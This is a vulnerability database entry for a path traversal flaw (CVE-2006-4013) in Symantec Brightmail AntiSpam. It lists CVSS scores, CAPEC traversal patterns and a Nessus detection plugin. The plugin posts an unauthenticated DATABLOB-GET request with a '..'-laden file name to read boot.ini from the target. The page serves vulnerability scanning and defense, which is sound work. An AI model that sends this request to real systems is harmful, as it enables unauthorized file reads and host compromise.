Vulnerabilities > CVE-2006-4013 - Path Traversal vulnerability in Symantec Brightmail Antispam

047910
CVSS 7.6 - HIGH
Attack vector
NETWORK
Attack complexity
HIGH
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
high complexity
symantec
CWE-22
nessus

Summary

Multiple directory traversal vulnerabilities in Symantec Brightmail AntiSpam (SBAS) before 6.0.4, when the Control Center is allowed to connect from any computer, allow remote attackers to read and overwrite certain files via directory traversal sequences in (1) DATABLOB-GET and (2) DATABLOB-SAVE requests.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Nessus

NASL familyGain a shell remotely
NASL idBRIGHTMAIL_BMAGENT_MULT_VULNS.NASL
descriptionThe remote host is running Brightmail AntiSpam, an antispam and anti- virus filter for mail servers, and includes Brightmail Agent, a web server intended to be used by a Brightmail Control Center to manage the Brightmail Scanner. The version of Brightmail Agent installed on the remote host does not require authentication and thus allows attackers to gain administrative control of the affected application. An attacker can exploit this issue to stop or disable the Brightmail Scanner
last seen2020-06-01
modified2020-06-02
plugin id22158
published2006-08-04
reporterThis script is Copyright (C) 2006-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/22158
titleBrightmail AntiSpam bmagent Multiple Remote Vulnerabilities (DoS, Traversal)
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22158);
  script_version("1.22");

  script_cve_id("CVE-2006-4013", "CVE-2006-4014");
  script_bugtraq_id(19182);

  script_name(english:"Brightmail AntiSpam bmagent Multiple Remote Vulnerabilities (DoS, Traversal)");
  script_summary(english:"Tries to read a local file using Brightmail Agent");
 
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by multiple vulnerabilities." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Brightmail AntiSpam, an antispam and anti-
virus filter for mail servers, and includes Brightmail Agent, a web
server intended to be used by a Brightmail Control Center to manage
the Brightmail Scanner. 

The version of Brightmail Agent installed on the remote host does not
require authentication and thus allows attackers to gain
administrative control of the affected application.  An attacker can
exploit this issue to stop or disable the Brightmail Scanner's
services, which could disrupt mail delivery for legitimate users; or
to read and write to files associated with the application, which
could result in the disclosure of sensitive information or
reconfiguration of the application itself. 

In addition, the Brightmail Agent suffers from a directory traversal
vulnerability such that reads and writes are not limited to the
application's directory.  Successful exploitation of this issue may
result in a complete compromise of the affected host since, under
Windows, the application runs with LOCAL SYSTEM privileges." );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e069763f" );
 script_set_attribute(attribute:"solution", value:
"Either restrict access to Brightmail Agent (refer to document id
2004123109522163 in Symantec's Support Knowledge Base) or upgrade to
Symantec Brightmail AntiSpam 6.0.4 / Symantec Mail Security for SMTP
5.0 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");
 script_cwe_id(22);


 script_set_attribute(attribute:"plugin_publication_date", value: "2006/08/04");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/07/27");
 script_cvs_date("Date: 2018/06/27 18:42:25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Gain a shell remotely");
  script_copyright(english:"This script is Copyright (C) 2006-2018 Tenable Network Security, Inc.");
  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 41002);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");


port = get_http_port(default:41002);

# Unless we're paranoid, make sure the banner looks like bmagent.
if (report_paranoia < 2)
{
  banner = get_http_banner(port:port);
  if (!banner || "HTTP/1.1 404 NotOK" >!< banner) exit(0);
}


# Try to exploit the flaw to read a file.
file = "$CONFIGDIR$$/$..$/$..$/$..$/$..$/$..$/$..$/$..$/$..$/$boot.ini";
rid = string(unixtime(), rand() % 1000);
postdata = string(
  '<?xml version="1.0" encoding="utf-8" ?>', 
  "<REQUEST>",
  "  <DATABLOB-GET>",
  "    <REQUEST-ID>", rid, "</REQUEST-ID>",
  "    <FLAG>0</FLAG>",
  "    <FILE-NAME>", file, "</FILE-NAME>",
  "  </DATABLOB-GET>",
  "</REQUEST>"
);
r = http_send_recv3(method: "POST", item: "/", version: 11, data: postdata, port: port,
  add_headers: make_array("Content-Type", "text/plain; charset=ISO-8859-1",
  	       "User-Agent", "Jakarta Commons-HttpClient/2.0final"));
if (isnull(r)) exit(0);
res = r[2];

# Extract the contents of the file.
pat = "<DATABLOB-BASE64.+>(.+)</DATABLOB-BASE64>";
matches = egrep(pattern:pat, string:res);
content = NULL;
if (matches)
{
  foreach match (split(matches))
  {
    match = chomp(match);
    content = eregmatch(pattern:pat, string:match);
    if (!isnull(content)) 
    {
      content = content[1];
      content = base64_decode(str:content);
      break;
    }
  }
}


# There's a problem if looks like boot.ini.
if (content && "[boot loader]">< content)
{
  report = string(
    "Here are the contents of the file '\\boot.ini' that Nessus\n",
    "was able to read from the remote host :\n",
    "\n",
    content
  );
  security_hole(port:port, extra:report);
}